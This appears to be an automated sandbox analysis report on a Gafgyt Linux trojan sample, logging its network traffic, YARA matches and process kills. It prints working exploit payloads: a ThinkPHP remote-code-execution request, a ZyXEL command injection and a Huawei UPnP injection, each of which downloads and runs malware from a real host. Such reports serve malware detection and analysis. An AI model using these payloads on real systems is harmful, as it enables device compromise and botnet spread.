Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://193.239.147.201/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: sh4.elf	String found in binary or memory: http://193.239.147.201/bins/x86
Source: sh4.elf	String found in binary or memory: http://193.239.147.201/zyxel.sh;
Source: sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 933, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 723, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 764, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 804, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 850, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 1431, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 1432, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3047, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3273, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3275, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3278, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3368, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3394, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3456, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3461, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3465, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3469, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3475, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5528, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5531, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5532, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5534, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5538, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5538)	SIGKILL sent: pid: 933, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://193.239.147.201/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 933, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 723, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 764, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 804, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 850, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 1431, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 1432, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3047, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3273, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3275, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3278, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3368, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3394, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3456, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3461, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3465, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3469, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 3475, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5528, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5531, result: successful	Jump to behavior
